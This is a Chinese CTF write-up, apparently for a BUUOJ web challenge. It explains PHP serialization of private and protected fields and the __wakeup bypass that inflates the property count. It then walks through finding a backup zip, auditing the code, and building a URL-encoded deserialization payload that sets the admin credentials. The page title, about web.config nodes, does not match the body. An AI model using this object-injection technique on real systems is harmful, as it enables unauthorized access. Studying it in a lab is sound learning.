1. 程式人生 > 實用技巧 >web.config檔案中自定義配置節點

web.config檔案中自定義配置節點

0x00 知識簡介

php中的private和protect在序列化時的區別:
protected 宣告的欄位為保護欄位,在所宣告的類和該類的子類中可見,但在該類的物件例項中不可見。因此保護欄位的欄位名在序列化時,欄位名前面會加上\0的字首。
## 這裡的 \0 表示 ASCII 碼為 0 的字元(不可見字元),而不是 \0 組合,直接在瀏覽器中輸入,可能會被識別錯誤。
private 宣告的欄位為私有欄位,只在所宣告的類中可見,但在該類的例項中不可見。因此私有欄位的欄位名在序列化時,欄位名和類名前會加上\0的字首。
## 注意/0會被算作長度2
__wakeup()方法繞過
作用:與__sleep()函式相反,__sleep()函式,是在序序列化時被自動呼叫。__wakeup()函式,在反序列化時,被自動呼叫。
繞過:當反序列化字串,表示屬性個數的值大於真實屬性個數時,會跳過 __wakeup 函式的執行。
__construct和__destruct
__construct是建構函式,利用該函式建立建構函式,即使類名變了建構函式也會生效。
建構函式:類進行例項化時自動執行的函式
__destruct是析解函式,PHP將在物件被銷燬前(即從記憶體中清除前)呼叫這個方法

0x01

開啟網頁看到如下

提示到會經常備份,進行目錄爆破(目錄名和備份相關),最後得到發現主頁目錄下存在www.zip(http://a20d58c8-04f7-4755-bdf1-c9e573526f2a.node3.buuoj.cn/www.zip)
下載下來,得到如下

直接開啟flag.php,得到內容如下

提交發現不對,果然不會這麼簡單,繼續檢視其他檔案,那就首先來看一下index.php

發現如上圖的程式碼,看到unserialize函式,這裡極有可能存在序列化漏洞。
這裡還包含了class.php,那我們繼續來看class.php

進行程式碼審計可以知道,想要得到flag就需要執行__destruct函式,並且滿足username='admin'和password

'100',
__destruct函式只需要php指令碼執行完畢就會被自動觸發,那兩個條件可以通過例項化一個物件Name('admin',100)來實現。
那怎麼來例項化一個物件那,可以通過傳給select一個構造好的序列化物件,然後帶入index.php中進行反序列化並賦值給$res來實現。
我們可以通過如下程式碼獲得一個序列化的物件

<?php
class Name
{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username, $password)
    {
        $this->username = $username;
        $this->password = $password;
    }
}
$a = new Name('admin',100);
echo serialize($a);
?>

得到的結果如下

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

但是還存在__wakeup函式,該函式會在執行反序列化時自動觸發,該函式將username賦值為guest使得我們無法滿足上面的條件。
所以需要想辦法繞過__wakeup函式,這時我們就要用到上面的知識了,所以我們的序列化物件就變成了如下

O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

還有一點需要注意的是username和password的都為私有欄位,所以序列化物件就變成了如下

O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}

這個序列化後的物件我們可以通過寫python指令碼去請求,但是如果想直接通過瀏覽器去請求的話,就要變成如下

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

這裡我們直接通過瀏覽器去請求得到的結果如圖下:

0x02 參考

https://www.cnblogs.com/wangtanzhi/p/12193930.html